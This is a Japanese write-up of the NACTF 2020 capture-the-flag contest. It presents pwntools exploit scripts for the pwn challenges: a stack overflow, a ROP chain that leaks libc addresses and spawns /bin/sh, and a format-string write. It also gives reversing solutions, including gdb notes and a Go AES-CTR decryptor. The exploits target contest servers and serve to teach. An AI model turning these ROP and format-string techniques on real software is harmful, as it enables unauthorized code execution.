NACTF 2020 writeup

Sat Nov 07 2020

    11月頭に開催された NACTF 2020 に参加しました。 平日開催だったためフルコミットはできなかったため、主に pwn や reversing 等、苦手で普段避けがちな問題に取り組みました。 結果としては 31th / 968 でした。 解いた問題のうち、力を入れた pwn、reversing について writeup を書きます。

    pwn

    Greeter

    典型的な stack overflow。 win 関数のアドレスに飛ぶだけ

    from pwn import *
    context.log_level = "DEBUG"
    
    r = remote("challenges.ctfd.io", 30249)
    
    r.sendlineafter("What's your name?\n", b"A"*72 + b"\x20\x12\x40\x00\x00\x00\x00\x00")
    r.recvall()

    nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur

    dROPit

    libc のバージョンを ROP で特定し、シェルを叩く問題。 https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address を参考にして解きました。

    from pwn import *
    
    r = remote("challenges.ctfd.io", 30261)
    elf = ELF("./dropit")
    
    context.binary = elf
    context.log_level = "DEBUG"
    
    libc = ""
    libc = ELF("./libc6_2.32-0ubuntu2_amd64.so")
    
    OFFSET = b"A" * 56
    
    rop = ROP(elf)
    PUTS_PLT = elf.plt["puts"]
    MAIN_PLT = elf.symbols["main"]
    POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0]
    RET = (rop.find_gadget(["ret"]))[0]
    
    def get_addr(func_name):
        FUNC_GOT = elf.got[func_name]
        rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
    
        r.sendlineafter("?\n", rop1)
    
        # Parse leaked address
        recieved = r.recvline().strip()
        print(recieved)
        leak = u64(recieved.ljust(8, b"\x00"))
        print("Leaked libc address,  " + func_name + ": " + hex(leak))
    
        return hex(leak)
    
    
    get_addr("__libc_start_main")
    get_addr("puts")
    get_addr("fgets")
    get_addr("setvbuf")
    r.interactive()

    リークさせた GOT のアドレスを、 hint にも書いてあった https://libc.rip/ で検索をかけると…

    libc6_2.32-0ubuntu2_amd64 であることがわかります。これを用いて /bin/sh を叩きます。

    from pwn import *
    
    r = remote("challenges.ctfd.io", 30261)
    elf = ELF("./dropit")
    
    context.binary = elf
    context.log_level = "DEBUG"
    
    libc = ELF("./libc6_2.32-0ubuntu2_amd64.so")
    
    OFFSET = b"A" * 56
    
    rop = ROP(elf)
    PUTS_PLT = elf.plt["puts"]
    MAIN_PLT = elf.symbols["main"]
    POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0]
    RET = (rop.find_gadget(["ret"]))[0]
    
    def get_addr(func_name):
        global done
        FUNC_GOT = elf.got[func_name]
        rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
    
        r.sendlineafter("?\n", rop1)
    
        # Parse leaked address
        recieved = r.recvline().strip()
        leak = u64(recieved.ljust(8, b"\x00"))
        print("Leaked libc address,  " + func_name + ": " + hex(leak))
    
        libc.address = leak - libc.symbols[func_name]  # Save libc base
        print("libc base @ %s" % hex(libc.address))
    
        return hex(leak)
    
    
    get_addr("__libc_start_main")
    
    rop = ROP(libc)
    rop.execve(next(libc.search(b"/bin/sh")), 0)
    r.sendlineafter("?\n", OFFSET + rop.chain())
    r.interactive()

    nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}

    Format

    典型的な format string attack。 0x42 = 66 を 0x404080 に書き込めばよい。

    from pwn import *
    
    context.log_level = "DEBUG"
    r = remote("challenges.ctfd.io", 30266)
    
    # r.sendlineafter("text.\n", b"\x80\x40\x40%63c%6$hhn")
    # もともと↑ を想定していたが、 \x00 のせいでうまくいかないので、後ろにアドレスをおいた
    # "%66c%8$hhn" が10文字なので AAAAAA を追加して16文字にし、 printf のスタックの指す先を2つずらす、6->8へ
    r.sendlineafter("text.\n", b"%66c%8$hhnAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00")
    print(r.recvall())

    nactf{d0nt_pr1ntf_u54r_1nput_HoUaRUxuGq2lVSHM}

    reversing

    Patience

       0x0000555555555000 <+0>:	mov    edi,0x42
       0x0000555555555005 <+5>:	call   0x555555555053 <_start+83>
       0x000055555555500a <+10>:	mov    rdi,rax
    

    最初の 0x555555555053 の関数内部の計算でとても長い時間がかかります。 この関数の return 値を自前で求め、 gdb で rip を書き換えて call 部分を飛ばし、その後の rdi に自前で計算した値を代入することで、 print することができそうです。

    0x555555555053 内部での計算を読むと、再帰的な計算が多いことがわかるので、 python の lru_cache を使って高速化します。

    from functools import lru_cache
    
    
    @lru_cache(maxsize=10 ** 6)
    def f(n, m):
        if n == 0:
            return 0
        ans = 0
        n -= 1
        m += 1
        ans += f(n, m)
        while True:
            if n == 0:
                ans += f(n, m)
                if m == 1:
                    ans += 1
                break
    
            if m > 1:
                n -= 1
                m -= 1
            else:
                n -= 2
            ans += f(n, m)
        return ans
    
    
    ans = 1
    for i in range(0x84 // 2):
        ans += f(i * 2, 1)
        ans %= 2 ** 64
    print(ans % 2 ** 64)

    これで計算された 15620537638032369420 を rdi に代入することで flag が出力されます。

    nactf{d1d_y0u_kn0w_y0u_ju5t_c4lcul4t3d_th3_66th_c4t4l4n_numb3r}

    Gopher

    gdb で解析。 list でソースコードが見れたので、コードの概要は把握しやすかったです。また、各関数内部で info args を叩くことで引数がわかります。 golang では main 関数が main.main であることだけ注意。

    眺めていると、 AES の CTR モードで暗号化しているコードであることがわかります。 key や iv から復号化をするコードを書きました。

    package main
    
    import (
        "crypto/cipher"
        "crypto/aes"
        "fmt"
    )
    
    func main() {
        key := []byte{0x31, 0xe5, 0x2b, 0x93, 0x9d, 0xf5, 0xcc, 0x7d, 0x8c, 0xc7, 0xd, 0x73, 0x97, 0xd0, 0x44, 0xfe, 0xcd, 0xcf, 0xbc, 0x38, 0x8a, 0xf5, 0x7f, 0x21, 0x6d, 0xa1, 0x9e, 0xa1, 0x26, 0x2b, 0xbc, 0xf2}
        block, err := aes.NewCipher(key)
        if err != nil {
            fmt.Println(err)
            return
        }
        iv := []byte{0x1b, 0xa4, 0xd, 0x8c, 0x33, 0xef, 0x46, 0x24, 0x69, 0xa8, 0x93, 0x98, 0xe8, 0xac, 0x8, 0x29}
        enc := cipher.NewCTR(block, iv)
        data := []byte{0x6b, 0x17, 0xd4, 0x6b, 0xe8, 0xa1, 0xa5, 0xef, 0x78, 0x1d, 0xea, 0x7a, 0xf7, 0x34, 0xf7, 0x3e, 0x77, 0xca, 0xf4, 0x1c, 0x35, 0x4c, 0x9a, 0xad, 0xdd, 0x5d, 0x1f, 0x40, 0xd9, 0x0, 0x0, 0x1c, 0x20, 0xe3, 0x6f, 0x13, 0x92, 0x90, 0x4f, 0x1d, 0xa2, 0xfb, 0x7c, 0xd3, 0x61, 0x35, 0x31, 0xc9, 0xa1, 0x77, 0xa8, 0x80, 0x99, 0x6a, 0xf0, 0x10, 0xb2}
        decrypted := make([]byte, len(data))
        enc.XORKeyStream(decrypted, data)
        fmt.Println(string(decrypted))
    }

    nactf{why_d0es_g0l4ng_3v3n_us3_th1s_abi_uI2SRybwkmZQ0kZM}

    Packed

    なぜかはわかってないですが、静的解析だとコードがまともに読めなかった…ので、 packed を実行したプロセスに gbd --pid PID でアタッチして様子を見ました。 0x7f8f28872070 でフラグが一致しているか確認するための文字列を生成し、0x7f8f288720a0 内部でフラグが一致しているか確認していることがわかります。

    nV&Bba_TG^cNk<at2E2-fpAe{{n3H-s~*xK3]h-NlXIorf;g^Y_cB(gu\",}Tn{vq!po`[email protected]~J{)c9i=?k3fZ,1+Ib_n.GgFg{0gK_f;ngblEY,1mRIjn?F89_8%oudB]),1w14%d+zfxnS{dDtc?<w_lVkD3Z`usvzN+J3o/[email protected]_#~C/s{=P64KW(-v3z=&3jren_x*$04r9njn0S,Py/%n#_98|0s^;~(pw#fW4p-B)c=*sG3MX8(_a\\&ms-zS:mBN~]hi6zw_;(w5m5LdAV0mYv47\"]xEUibHUtNRuYA4hya\"[+Ke&fD2}?^N$*nactf!

    この文字列を5文字飛ばしで読んだものがフラグと一致しているか確認していました。

    nactf{s3lf_unp4ck1ng_b1n_d1dnt_3v3n_s4v3_4ny_sp4c3_smh_mV4EUYae}

      ;